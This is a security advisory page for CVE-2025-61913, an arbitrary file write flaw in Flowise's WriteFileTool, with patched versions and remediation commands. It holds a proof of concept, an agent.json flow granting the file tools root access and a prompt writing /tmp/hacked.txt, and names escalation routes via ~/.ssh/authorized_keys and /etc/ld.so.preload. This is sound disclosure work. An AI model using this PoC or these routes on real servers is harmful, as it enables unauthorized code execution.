CVE-2025-61913: Flowise Flowise Is Vulnerable To Arbitrary Vulnerability
CRITICAL
Advisory Identifier:
GHSA-jv9m-vf54-chjj
Advisory Summary
CVE-2025-61913 is a CRITICAL (CVSS 9.9) flowise is vulnerable to arbitrary vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Flowise libraries in the npm ecosystem. The issue involves flowise is vulnerable to arbitrary file write through its writefiletool. Remediation is available by upgrading affected packages to version 3.0.8.
CVE-2025-61913 at a Glance
CVE Identifier
CVE-2025-61913
GHSA Identifier
GHSA-jv9m-vf54-chjj
Severity
CRITICAL
CVSS v3.1 Base Score
9.9
CWE Classification
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product
Flowise
Package Ecosystem
npm
Published Date
Last Updated
Security Impact
CVSS: 9.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
Low (PR:L)
User Interaction
None (UI:N)
Scope
Changed (S:C)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix CVE-2025-61913
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
flowise
fixed: 3.0.8
npm install flowise@3.0.8
flowise-components
fixed: 3.0.8
npm install flowise-components@3.0.8
Flowise
fixed: 3.0.8
npm install Flowise@3.0.8
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowiseHow to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-61913, inspect your project dependencies using npm:
npm ls flowiseAnalyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.8), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
### Summary
The WriteFileTool in Flowise does not restrict the file path for reading, allowing authenticated attackers to exploit this vulnerability to write arbitrary files to any path in the file system, potentially leading to remote command execution.
### Details
Flowise supports providing WriteFileTool for large models, which is used to write files to the server's file system. The implementation of this tool is located at packages/components/nodes/tools/WriteFile/WriteFile.ts.
```
/**
* Class for writing data to files on the disk. Extends the StructuredTool
* class.
*/
export class WriteFileTool extends StructuredTool {
static lc_name() {
return 'WriteFileTool'
}
schema = z.object({
file_path: z.string().describe('name of file'),
text: z.string().describe('text to write to file')
}) as any
name = 'write_file'
description = 'Write file from disk'
store: BaseFileStore
constructor({ store, ...rest }: WriteFileParams) {
super(rest)
this.store = store
}
async _call({ file_path, text }: z.infer<typeof this.schema>) {
await this.store.writeFile(file_path, text)
return 'File written to successfully.'
}
}
```
This tool directly uses the file_path parameter passed to it without verifying whether the path belongs to Flowise's working directory. Authenticated attackers can exploit this vulnerability to write files with arbitrary content to any path on the server.
There are numerous ways to achieve remote command execution through arbitrary file write vulnerabilities, which will not be elaborated here. For example, attackers could write their own public key to ~/.ssh/authorized_keys to gain remote SSH access, or overwrite /etc/ld.so.preload to hijack dynamic libraries and execute arbitrary code. Flowise's historical vulnerability information (https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8vvx-qvq9-5948) also describes steps to achieve remote command execution by overwriting the start command in package.json.
### PoC
This file writing vulnerability has been verified to exist in the latest Flowise Docker image (https://hub.docker.com/layers/flowiseai/flowise/latest/images/sha256-26300377397818a451e0710389eb77615256b0f3ecc895194850ab35dda3ae7b). The reproduction steps are as follows:
1. Pull the Flowise Docker image
```
docker pull flowiseai/flowise
```
2. Start the Flowise service
```
docker run -d --name flowise -p 3000:3000 flowise
```
3. Access the Flowise service at server ip:3000 in your browser and register an account
4. Save the following content as agent.json
```
{
"nodes": [
{
"id": "startAgentflow_0",
"type": "agentFlow",
"position": {
"x": -203,
"y": 37
},
"data": {
"id": "startAgentflow_0",
"label": "Start",
"version": 1.1,
"name": "startAgentflow",
"type": "Start",
"color": "#7EE787",
"hideInput": true,
"baseClasses": [
"Start"
],
"category": "Agent Flows",
"description": "Starting point of the agentflow",
"inputParams": [
{
"label": "Input Type",
"name": "startInputType",
"type": "options",
"options": [
{
"label": "Chat Input",
"name": "chatInput",
"description": "Start the conversation with chat input"
},
{
"label": "Form Input",
"name": "formInput",
"description": "Start the workflow with form inputs"
}
],
"default": "chatInput",
"id": "startAgentflow_0-input-startInputType-options",
"display": true
},
{
"label": "Form Title",
"name": "formTitle",
"type": "string",
"placeholder": "Please Fill Out The Form",
"show": {
"startInputType": "formInput"
},
"id": "startAgentflow_0-input-formTitle-string",
"display": false
},
{
"label": "Form Description",
"name": "formDescription",
"type": "string",
"placeholder": "Complete all fields below to continue",
"show": {
"startInputType": "formInput"
},
"id": "startAgentflow_0-input-formDescription-string",
"display": false
},
{
"label": "Form Input Types",
"name": "formInputTypes",
"description": "Specify the type of form input",
"type": "array",
"show": {
"startInputType": "formInput"
},
"array": [
{
"label": "Type",
"name": "type",
"type": "options",
"options": [
{
"label": "String",
"name": "string"
},
{
"label": "Number",
"name": "number"
},
{
"label": "Boolean",
"name": "boolean"
},
{
"label": "Options",
"name": "options"
}
],
"default": "string"
},
{
"label": "Label",
"name": "label",
"type": "string",
"placeholder": "Label for the input"
},
{
"label": "Variable Name",
"name": "name",
"type": "string",
"placeholder": "Variable name for the input (must be camel case)",
"description": "Variable name must be camel case. For example: firstName, lastName, etc."
},
{
"label": "Add Options",
"name": "addOptions",
"type": "array",
"show": {
"formInputTypes[$index].type": "options"
},
"array": [
{
"label": "Option",
"name": "option",
"type": "string"
}
]
}
],
"id": "startAgentflow_0-input-formInputTypes-array",
"display": false
},
{
"label": "Ephemeral Memory",
"name": "startEphemeralMemory",
"type": "boolean",
"description": "Start fresh for every execution without past chat history",
"optional": true,
"id": "startAgentflow_0-input-startEphemeralMemory-boolean",
"display": true
},
{
"label": "Flow State",
"name": "startState",
"description": "Runtime state during the execution of the workflow",
"type": "array",
"optional": true,
"array": [
{
"label": "Key",
"name": "key",
"type": "string",
"placeholder": "Foo"
},
{
"label": "Value",
"name": "value",
"type": "string",
"placeholder": "Bar",
"optional": true
}
],
"id": "startAgentflow_0-input-startState-array",
"display": true
},
{
"label": "Persist State",
"name": "startPersistState",
"type": "boolean",
"description": "Persist the state in the same session",
"optional": true,
"id": "startAgentflow_0-input-startPersistState-boolean",
"display": true
}
],
"inputAnchors": [],
"inputs": {
"startInputType": "chatInput",
"formTitle": "",
"formDescription": "",
"formInputTypes": "",
"startEphemeralMemory": "",
"startState": "",
"startPersistState": ""
},
"outputAnchors": [
{
"id": "startAgentflow_0-output-startAgentflow",
"label": "Start",
"name": "startAgentflow"
}
],
"outputs": {},
"selected": false
},
"width": 103,
"height": 66,
"selected": false,
"positionAbsolute": {
"x": -203,
"y": 37
},
"dragging": false
},
{
"id": "directReplyAgentflow_0",
"position": {
"x": 209,
"y": 30.25
},
"data": {
"id": "directReplyAgentflow_0",
"label": "Direct Reply 0",
"version": 1,
"name": "directReplyAgentflow",
"type": "DirectReply",
"color": "#4DDBBB",
"hideOutput": true,
"baseClasses": [
"DirectReply"
],
"category": "Agent Flows",
"description": "Directly reply to the user with a message",
"inputParams": [
{
"label": "Message",
"name": "directReplyMessage",
"type": "string",
"rows": 4,
"acceptVariable": true,
"id": "directReplyAgentflow_0-input-directReplyMessage-string",
"display": true
}
],
"inputAnchors": [],
"inputs": {
"directReplyMessage": "",
"undefined": ""
},
"outputAnchors": [],
"outputs": {},
"selected": false
},
"type": "agentFlow",
"width": 163,
"height": 66,
"selected": false,
"positionAbsolute": {
"x": 209,
"y": 30.25
},
"dragging": false
},
{
"id": "agentAgentflow_0",
"position": {
"x": -63.5,
"y": 89.125
},
"data": {
"id": "agentAgentflow_0",
"label": "Agent 0",
"version": 2,
"name": "agentAgentflow",
"type": "Agent",
"color": "#4DD0E1",
"baseClasses": [
"Agent"
],
"category": "Agent Flows",
"description": "Dynamically choose and utilize tools during runtime, enabling multi-step reasoning",
"inputParams": [
{
"label": "Model",
"name": "agentModel",
"type": "asyncOptions",
"loadMethod": "listModels",
"loadConfig": true,
"id": "agentAgentflow_0-input-agentModel-asyncOptions",
"display": true
},
{
"label": "Messages",
"name": "agentMessages",
"type": "array",
"optional": true,
"acceptVariable": true,
"array": [
{
"label": "Role",
"name": "role",
"type": "options",
"options": [
{
"label": "System",
"name": "system"
},
{
"label": "Assistant",
"name": "assistant"
},
{
"label": "Developer",
"name": "developer"
},
{
"label": "User",
"name": "user"
}
]
},
{
"label": "Content",
"name": "content",
"type": "string",
"acceptVariable": true,
"generateInstruction": true,
"rows": 4
}
],
"id": "agentAgentflow_0-input-agentMessages-array",
"display": true
},
{
"label": "OpenAI Built-in Tools",
"name": "agentToolsBuiltInOpenAI",
"type": "multiOptions",
"optional": true,
"options": [
{
"label": "Web Search",
"name": "web_search_preview",
"description": "Search the web for the latest information"
},
{
"label": "Code Interpreter",
"name": "code_interpreter",
"description": "Write and run Python code in a sandboxed environment"
},
{
"label": "Image Generation",
"name": "image_generation",
"description": "Generate images based on a text prompt"
}
],
"show": {
"agentModel": "chatOpenAI"
},
"id": "agentAgentflow_0-input-agentToolsBuiltInOpenAI-multiOptions",
"display": false
},
{
"label": "Tools",
"name": "agentTools",
"type": "array",
"optional": true,
"array": [
{
"label": "Tool",
"name": "agentSelectedTool",
"type": "asyncOptions",
"loadMethod": "listTools",
"loadConfig": true
},
{
"label": "Require Human Input",
"name": "agentSelectedToolRequiresHumanInput",
"type": "boolean",
"optional": true
}
],
"id": "agentAgentflow_0-input-agentTools-array",
"display": true
},
{
"label": "Knowledge (Document Stores)",
"name": "agentKnowledgeDocumentStores",
"type": "array",
"description": "Give your agent context about different document sources. Document stores must be upserted in advance.",
"array": [
{
"label": "Document Store",
"name": "documentStore",
"type": "asyncOptions",
"loadMethod": "listStores"
},
{
"label": "Describe Knowledge",
"name": "docStoreDescription",
"type": "string",
"generateDocStoreDescription": true,
"placeholder": "Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information",
"rows": 4
},
{
"label": "Return Source Documents",
"name": "returnSourceDocuments",
"type": "boolean",
"optional": true
}
],
"optional": true,
"id": "agentAgentflow_0-input-agentKnowledgeDocumentStores-array",
"display": true
},
{
"label": "Knowledge (Vector Embeddings)",
"name": "agentKnowledgeVSEmbeddings",
"type": "array",
"description": "Give your agent context about different document sources from existing vector stores and embeddings",
"array": [
{
"label": "Vector Store",
"name": "vectorStore",
"type": "asyncOptions",
"loadMethod": "listVectorStores",
"loadConfig": true
},
{
"label": "Embedding Model",
"name": "embeddingModel",
"type": "asyncOptions",
"loadMethod": "listEmbeddings",
"loadConfig": true
},
{
"label": "Knowledge Name",
"name": "knowledgeName",
"type": "string",
"placeholder": "A short name for the knowledge base, this is useful for the AI to know when and how to search for correct information"
},
{
"label": "Describe Knowledge",
"name": "knowledgeDescription",
"type": "string",
"placeholder": "Describe what the knowledge base is about, this is useful for the AI to know when and how to search for correct information",
"rows": 4
},
{
"label": "Return Source Documents",
"name": "returnSourceDocuments",
"type": "boolean",
"optional": true
}
],
"optional": true,
"id": "agentAgentflow_0-input-agentKnowledgeVSEmbeddings-array",
"display": true
},
{
"label": "Enable Memory",
"name": "agentEnableMemory",
"type": "boolean",
"description": "Enable memory for the conversation thread",
"default": true,
"optional": true,
"id": "agentAgentflow_0-input-agentEnableMemory-boolean",
"display": true
},
{
"label": "Memory Type",
"name": "agentMemoryType",
"type": "options",
"options": [
{
"label": "All Messages",
"name": "allMessages",
"description": "Retrieve all messages from the conversation"
},
{
"label": "Window Size",
"name": "windowSize",
"description": "Uses a fixed window size to surface the last N messages"
},
{
"label": "Conversation Summary",
"name": "conversationSummary",
"description": "Summarizes the whole conversation"
},
{
"label": "Conversation Summary Buffer",
"name": "conversationSummaryBuffer",
"description": "Summarize conversations once token limit is reached. Default to 2000"
}
],
"optional": true,
"default": "allMessages",
"show": {
"agentEnableMemory": true
},
"id": "agentAgentflow_0-input-agentMemoryType-options",
"display": false
},
{
"label": "Window Size",
"name": "agentMemoryWindowSize",
"type": "number",
"default": "20",
"description": "Uses a fixed window size to surface the last N messages",
"show": {
"agentMemoryType": "windowSize"
},
"id": "agentAgentflow_0-input-agentMemoryWindowSize-number",
"display": false
},
{
"label": "Max Token Limit",
"name": "agentMemoryMaxTokenLimit",
"type": "number",
"default": "2000",
"description": "Summarize conversations once token limit is reached. Default to 2000",
"show": {
"agentMemoryType": "conversationSummaryBuffer"
},
"id": "agentAgentflow_0-input-agentMemoryMaxTokenLimit-number",
"display": false
},
{
"label": "Input Message",
"name": "agentUserMessage",
"type": "string",
"description": "Add an input message as user message at the end of the conversation",
"rows": 4,
"optional": true,
"acceptVariable": true,
"show": {
"agentEnableMemory": true
},
"id": "agentAgentflow_0-input-agentUserMessage-string",
"display": false
},
{
"label": "Return Response As",
"name": "agentReturnResponseAs",
"type": "options",
"options": [
{
"label": "User Message",
"name": "userMessage"
},
{
"label": "Assistant Message",
"name": "assistantMessage"
}
],
"default": "userMessage",
"id": "agentAgentflow_0-input-agentReturnResponseAs-options",
"display": true
},
{
"label": "Update Flow State",
"name": "agentUpdateState",
"description": "Update runtime state during the execution of the workflow",
"type": "array",
"optional": true,
"acceptVariable": true,
"array": [
{
"label": "Key",
"name": "key",
"type": "asyncOptions",
"loadMethod": "listRuntimeStateKeys",
"freeSolo": true
},
{
"label": "Value",
"name": "value",
"type": "string",
"acceptVariable": true,
"acceptNodeOutputAsVariable": true
}
],
"id": "agentAgentflow_0-input-agentUpdateState-array",
"display": true
}
],
"inputAnchors": [],
"inputs": {
"agentModel": "chatOpenRouter",
"agentMessages": [
{
"role": "",
"content": "<p><span class=\"variable\" data-type=\"mention\" data-id=\"question\" data-label=\"question\">{{ question }}</span> </p>"
}
],
"agentTools": [
{
"agentSelectedTool": "readFile",
"agentSelectedToolRequiresHumanInput": "",
"agentSelectedToolConfig": {
"basePath": "/",
"agentSelectedTool": "readFile"
}
},
{
"agentSelectedTool": "writeFile",
"agentSelectedToolRequiresHumanInput": "",
"agentSelectedToolConfig": {
"basePath": "/",
"agentSelectedTool": "writeFile"
}
}
],
"agentKnowledgeDocumentStores": "",
"agentKnowledgeVSEmbeddings": "",
"agentEnableMemory": false,
"agentReturnResponseAs": "userMessage",
"agentUpdateState": "",
"undefined": "",
"agentModelConfig": {
"cache": "",
"modelName": "qwen/qwen3-30b-a3b",
"temperature": 0.9,
"streaming": true,
"maxTokens": "",
"topP": "",
"frequencyPenalty": "",
"presencePenalty": "",
"timeout": "",
"basepath": "https://openrouter.ai/api/v1",
"baseOptions": "",
"agentModel": "chatOpenRouter"
}
},
"outputAnchors": [
{
"id": "agentAgentflow_0-output-agentAgentflow",
"label": "Agent",
"name": "agentAgentflow"
}
],
"outputs": {},
"selected": false
},
"type": "agentFlow",
"width": 232,
"height": 100,
"selected": false,
"positionAbsolute": {
"x": -63.5,
"y": 89.125
},
"dragging": false
}
],
"edges": [
{
"source": "startAgentflow_0",
"sourceHandle": "startAgentflow_0-output-startAgentflow",
"target": "agentAgentflow_0",
"targetHandle": "agentAgentflow_0",
"data": {
"sourceColor": "#7EE787",
"targetColor": "#4DD0E1",
"isHumanInput": false
},
"type": "agentFlow",
"id": "startAgentflow_0-startAgentflow_0-output-startAgentflow-agentAgentflow_0-agentAgentflow_0"
},
{
"source": "agentAgentflow_0",
"sourceHandle": "agentAgentflow_0-output-agentAgentflow",
"target": "directReplyAgentflow_0",
"targetHandle": "directReplyAgentflow_0",
"data": {
"sourceColor": "#4DD0E1",
"targetColor": "#4DDBBB",
"isHumanInput": false
},
"type": "agentFlow",
"id": "agentAgentflow_0-agentAgentflow_0-output-agentAgentflow-directReplyAgentflow_0-directReplyAgentflow_0"
}
]
}
```
5. Click on "AgentFlows" on the left, then click "Add New" on the right to enter the Agent creation page. Click the gear button in the upper right corner, select "Load Agents," choose the agent.json file, and after successful import, you will see three connected nodes.
6. Double-click the middle "Agent 0" node, click "ChatOpenRouter Parameters," then "Connect Credential," and select "Create New." Enter a valid OpenRouter API Key. Alternatively, click "Model" to choose another LLM provider. Once done, click the save button in the upper right corner.
7. After saving, click the purple chat button in the upper right corner and enter: Write "hacked" to /tmp/hacked.txt.
8. After the call is completed, log in to the container via `docker exec -it [container id] sh`, and you can see that the file has been successfully written.
### Impact
Authenticated attackers can exploit this vulnerability to write arbitrary files to any path on the server, ultimately achieving remote command execution.
### Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
CVE(s) and credit(s) are preferred.
If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.
CVE-2025-61913 Affected Flowise Versions
3 component(s)
Fixed Versions:
3.0.8
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
< 3.0.8
|
3.0.8
|
|
flowise-components
|
npm |
< 3.0.8
|
3.0.8
|
|
Flowise
|
npm |
< 3.0.8
|
3.0.8
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-j44m-5v8f-gc9c
GitHub Advisory / Wiki
ADVISORY
https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-jv9m-vf54-chjj
NVD — CVE-2025-61913
NVD
https://nvd.nist.gov/vuln/detail/CVE-2025-61913
Flowise Source Repository
REPOSITORY
https://github.com/FlowiseAI/Flowise/pull/5275
Security Fix Commit
FIX COMMIT
https://github.com/FlowiseAI/Flowise/commit/1fb12cd93143592a18995f63b781d25b354d48a3
Flowise Source Repository
REPOSITORY
https://github.com/FlowiseAI/Flowise
Flowise Release
RELEASE
https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.8
Frequently Asked Questions
What is CVE-2025-61913?
CVE-2025-61913 is a security vulnerability in Flowise involving Flowise is vulnerable to arbitrary file write through its WriteFileTool under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Flowise versions are affected?
Affected versions include releases prior to 3.0.8 across affected packages: flowise, flowise-components, Flowise.
What version fixes CVE-2025-61913?
Upgrading to 3.0.8 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.0.8. Upgrade your dependency to 3.0.8 or later.
Is flowise-components affected?
Yes, flowise-components is affected in releases prior to 3.0.8. Upgrade your dependency to 3.0.8 or later.
What is the CVSS score of CVE-2025-61913?
CVE-2025-61913 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2025-61913?
CVE-2025-61913 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2025-61913?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-jv9m-vf54-chjj",
"modified" : "2025-11-15T03:13:52Z",
"published" : "2025-10-09T15:21:39Z",
"aliases" : [ "CVE-2025-61913" ],
"summary" : "Flowise is vulnerable to arbitrary file write through its WriteFileTool ",
"details" : "### Summary\n\nThe WriteFileTool in Flowise does not restrict the file path for reading, allowing authenticated attackers to exploit this vulnerability to write arbitrary files to any path in the file system, potentially leading to remote command execution.\n\n### Details\n\nFlowise supports providing WriteFileTool for large models, which is used to write files to the server's file system. The implementation of this tool is located at packages/components/nodes/tools/WriteFile/WriteFile.ts.\n\n```\n/**\n * Class for writing data to files on the disk. Extends the StructuredTool\n * class.\n */\nexport class WriteFileTool extends StructuredTool {\n static lc_name() {\n return 'WriteFileTool'\n }\n\n schema = z.object({\n file_path: z.string().describe('name of file'),\n text: z.string().describe('text to write to file')\n }) as any\n\n name = 'write_file'\n\n description = 'Write file from disk'\n\n store: BaseFileStore\n\n constructor({ store, ...rest }: WriteFileParams) {\n super(rest)\n\n this.store = store\n }\n\n async _call({ file_path, text }: z.infer<typeof this.schema>) {\n await this.store.writeFile(file_path, text)\n return 'File written to successfully.'\n }\n}\n\n```\n\nThis tool directly uses the file_path parameter passed to it without verifying whether the path belongs to Flowise's working directory. Authenticated attackers can exploit this vulnerability to write files with arbitrary content to any path on the server. \n\nThere are numerous ways to achieve remote command execution through arbitrary file write vulnerabilities, which will not be elaborated here. For example, attackers could write their own public key to ~/.ssh/authorized_keys to gain remote SSH access, or overwrite /etc/ld.so.preload to hijack dynamic libraries and execute arbitrary code. Flowise's historical vulnerability information (https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-8vvx-qvq9-5948) also describes steps to achieve remote command execution by overwriting the start command in package.json.\n\n### PoC\n\nThis file writing vulnerability has been verified to exist in the latest Flowise Docker image (https://hub.docker.com/layers/flowiseai/flowise/latest/images/sha256-26300377397818a451e0710389eb77615256b0f3ecc895194850ab35dda3ae7b). The reproduction steps are as follows:\n\n1. Pull the Flowise Docker image\n\n```\ndocker pull flowiseai/flowise\n```\n\n2. Start the Flowise service\n\n```\ndocker run -d --name flowise -p 3000:3000 flowise\n```\n\n3. Access the Flowise service at server ip:3000 in your browser and register an account\n4. Save the following content as agent.json\n\n```\n{\n \"nodes\": [\n {\n \"id\": \"startAgentflow_0\",\n \"type\": \"agentFlow\",\n \"position\": {\n \"x\": -203,\n \"y\": 37\n },\n \"data\": {\n \"id\": \"startAgentflow_0\",\n \"label\": \"Start\",\n \"version\": 1.1,\n \"name\": \"startAgentflow\",\n \"type\": \"Start\",\n \"color\": \"#7EE787\",\n \"hideInput\": true,\n \"baseClasses\": [\n \"Start\"\n ],\n \"category\": \"Agent Flows\",\n \"description\": \"Starting point of the agentflow\",\n \"inputParams\": [\n {\n \"label\": \"Input Type\",\n \"name\": \"startInputType\",\n \"type\": \"options\",\n \"options\": [\n {\n \"label\": \"Chat Input\",\n \"name\": \"chatInput\",\n \"description\": \"Start the conversation with chat input\"\n },\n {\n \"label\": \"Form Input\",\n \"name\": \"formInput\",\n \"description\": \"Start the workflow with form inputs\"\n }\n ],\n \"default\": \"chatInput\",\n \"id\": \"startAgentflow_0-input-startInputType-options\",\n \"display\": true\n },\n {\n \"label\": \"Form Title\",\n \"name\": \"formTitle\",\n \"type\": \"string\",\n \"placeholder\": \"Please Fill Out The Form\",\n \"show\": {\n \"startInputType\": \"formInput\"\n },\n \"id\": \"startAgentflow_0-input-formTitle-string\",\n \"display\": false\n },\n {\n \"label\": \"Form Description\",\n \"name\": \"formDescription\",\n \"type\": \"string\",\n \"placeholder\": \"Complete all fields below to continue\",\n \"show\": {\n \"startInputType\": \"formInput\"\n },\n \"id\": \"startAgentflow_0-input-formDescription-string\",\n \"display\": false\n },\n {\n \"label\": \"Form Input Types\",\n \"name\": \"formInputTypes\",\n \"description\": \"Specify the type of form input\",\n \"type\": \"array\",\n \"show\": {\n \"startInputType\": \"formInput\"\n },\n \"array\": [\n {\n \"label\": \"Type\",\n \"name\": \"type\",\n \"type\": \"options\",\n \"options\": [\n {\n \"label\": \"String\",\n \"name\": \"string\"\n },\n {\n \"label\": \"Number\",\n \"name\": \"number\"\n },\n {\n \"label\": \"Boolean\",\n \"name\": \"boolean\"\n },\n {\n \"label\": \"Options\",\n \"name\": \"options\"\n }\n ],\n \"default\": \"string\"\n },\n {\n \"label\": \"Label\",\n \"name\": \"label\",\n \"type\": \"string\",\n \"placeholder\": \"Label for the input\"\n },\n {\n \"label\": \"Variable Name\",\n \"name\": \"name\",\n \"type\": \"string\",\n \"placeholder\": \"Variable name for the input (must be camel case)\",\n \"description\": \"Variable name must be camel case. For example: firstName, lastName, etc.\"\n },\n {\n \"label\": \"Add Options\",\n \"name\": \"addOptions\",\n \"type\": \"array\",\n \"show\": {\n \"formInputTypes[$index].type\": \"options\"\n },\n \"array\": [\n {\n \"label\": \"Option\",\n \"name\": \"option\",\n \"type\": \"string\"\n }\n ]\n }\n ],\n \"id\": \"startAgentflow_0-input-formInputTypes-array\",\n \"display\": false\n },\n {\n \"label\": \"Ephemeral Memory\",\n \"name\": \"startEphemeralMemory\",\n \"type\": \"boolean\",\n \"description\": \"Start fresh for every execution without past chat history\",\n \"optional\": true,\n \"id\": \"startAgentflow_0-input-startEphemeralMemory-boolean\",\n \"display\": true\n },\n {\n \"label\": \"Flow State\",\n \"name\": \"startState\",\n \"description\": \"Runtime state during the execution of the workflow\",\n \"type\": \"array\",\n \"optional\": true,\n \"array\": [\n {\n \"label\": \"Key\",\n \"name\": \"key\",\n \"type\": \"string\",\n \"placeholder\": \"Foo\"\n },\n {\n \"label\": \"Value\",\n \"name\": \"value\",\n \"type\": \"string\",\n \"placeholder\": \"Bar\",\n \"optional\": true\n }\n ],\n \"id\": \"startAgentflow_0-input-startState-array\",\n \"display\": true\n },\n {\n \"label\": \"Persist State\",\n \"name\": \"startPersistState\",\n \"type\": \"boolean\",\n \"description\": \"Persist the state in the same session\",\n \"optional\": true,\n \"id\": \"startAgentflow_0-input-startPersistState-boolean\",\n \"display\": true\n }\n ],\n \"inputAnchors\": [],\n \"inputs\": {\n \"startInputType\": \"chatInput\",\n \"formTitle\": \"\",\n \"formDescription\": \"\",\n \"formInputTypes\": \"\",\n \"startEphemeralMemory\": \"\",\n \"startState\": \"\",\n \"startPersistState\": \"\"\n },\n \"outputAnchors\": [\n {\n \"id\": \"startAgentflow_0-output-startAgentflow\",\n \"label\": \"Start\",\n \"name\": \"startAgentflow\"\n }\n ],\n \"outputs\": {},\n \"selected\": false\n },\n \"width\": 103,\n \"height\": 66,\n \"selected\": false,\n \"positionAbsolute\": {\n \"x\": -203,\n \"y\": 37\n },\n \"dragging\": false\n },\n {\n \"id\": \"directReplyAgentflow_0\",\n \"position\": {\n \"x\": 209,\n \"y\": 30.25\n },\n \"data\": {\n \"id\": \"directReplyAgentflow_0\",\n \"label\": \"Direct Reply 0\",\n \"version\": 1,\n \"name\": \"directReplyAgentflow\",\n \"type\": \"DirectReply\",\n \"color\": \"#4DDBBB\",\n \"hideOutput\": true,\n \"baseClasses\": [\n \"DirectReply\"\n ],\n \"category\": \"Agent Flows\",\n \"description\": \"Directly reply to the user with a message\",\n \"inputParams\": [\n {\n \"label\": \"Message\",\n \"name\": \"directReplyMessage\",\n \"type\": \"string\",\n \"rows\": 4,\n \"acceptVariable\": true,\n \"id\": \"directReplyAgentflow_0-input-directReplyMessage-string\",\n \"display\": true\n }\n ],\n \"inputAnchors\": [],\n \"inputs\": {\n \"directReplyMessage\": \"\",\n \"undefined\": \"\"\n },\n \"outputAnchors\": [],\n \"outputs\": {},\n \"selected\": false\n },\n \"type\": \"agentFlow\",\n \"width\": 163,\n \"height\": 66,\n \"selected\": false,\n \"positionAbsolute\": {\n \"x\": 209,\n \"y\": 30.25\n },\n \"dragging\": false\n },\n {\n \"id\": \"agentAgentflow_0\",\n \"position\": {\n \"x\": -63.5,\n \"y\": 89.125\n },\n \"data\": {\n \"id\": \"agentAgentflow_0\",\n \"label\": \"Agent 0\",\n \"version\": 2,\n \"name\": \"agentAgentflow\",\n \"type\": \"Agent\",\n \"color\": \"#4DD0E1\",\n \"baseClasses\": [\n \"Agent\"\n ],\n \"category\": \"Agent Flows\",\n \"description\": \"Dynamically choose and utilize tools during runtime, enabling multi-step reasoning\",\n \"inputParams\": [\n {\n \"label\": \"Model\",\n \"name\": \"agentModel\",\n \"type\": \"asyncOptions\",\n \"loadMethod\": \"listModels\",\n \"loadConfig\": true,\n \"id\": \"agentAgentflow_0-input-agentModel-asyncOptions\",\n \"display\": true\n },\n {\n \"label\": \"Messages\",\n \"name\": \"agentMessages\",\n \"type\": \"array\",\n \"optional\": true,\n \"acceptVariable\": true,\n \"array\": [\n {\n \"label\": \"Role\",\n \"name\": \"role\",\n \"type\": \"options\",\n \"options\": [\n {\n \"label\": \"System\",\n \"name\": \"system\"\n },\n {\n \"label\": \"Assistant\",\n \"name\": \"assistant\"\n },\n {\n \"label\": \"Developer\",\n \"name\": \"developer\"\n },\n {\n \"label\": \"User\",\n \"name\": \"user\"\n }\n ]\n },\n {\n \"label\": \"Content\",\n \"name\": \"content\",\n \"type\": \"string\",\n \"acceptVariable\": true,\n \"generateInstruction\": true,\n \"rows\": 4\n }\n ],\n \"id\": \"agentAgentflow_0-input-agentMessages-array\",\n \"display\": true\n },\n {\n \"label\": \"OpenAI Built-in Tools\",\n \"name\": \"agentToolsBuiltInOpenAI\",\n \"type\": \"multiOptions\",\n \"optional\": true,\n \"options\": [\n {\n \"label\": \"Web Search\",\n \"name\": \"web_search_preview\",\n \"description\": \"Search the web for the latest information\"\n },\n {\n \"label\": \"Code Interpreter\",\n \"name\": \"code_interpreter\",\n \"description\": \"Write and run Python code in a sandboxed environment\"\n },\n {\n \"label\": \"Image Generation\",\n \"name\": \"image_generation\",\n \"description\": \"Generate images based on a text prompt\"\n }\n ],\n \"show\": {\n 